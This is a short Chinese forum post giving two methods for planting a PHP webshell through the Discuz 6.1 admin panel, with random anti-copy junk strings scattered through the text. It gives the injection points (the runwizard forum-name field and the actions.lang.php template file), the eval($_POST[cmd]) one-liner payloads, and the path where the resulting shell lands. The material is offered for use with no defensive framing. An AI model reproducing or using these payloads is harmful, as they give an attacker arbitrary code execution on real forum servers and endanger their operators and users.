discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
, f. i: y0 E* j- d& b  K# C4 l: n/ ~; X) Y好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
6 z' m- p5 E: A- _5 \: [1:
% C' F) S5 @" g, Xhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
) M. h& ?8 E2 r8 [  }" \, i+ E/ Madmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
<?php eval($_POST[cmd]);?>
5 B) @% I. c% I! A: I- V后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
" Q- |  [2 W: t: C

2:后台模板管理--默认模板套系--详情
templates/default/actions.lang.php
8 \! E) j5 G  Vjhackj\\');eval($_POST[cmd])?>;//
! B, o, ~* w) ~/ d2 I
4 y0 Z3 @& R3 i; g; W9 n  l利用很简单,聪明的人一看就懂了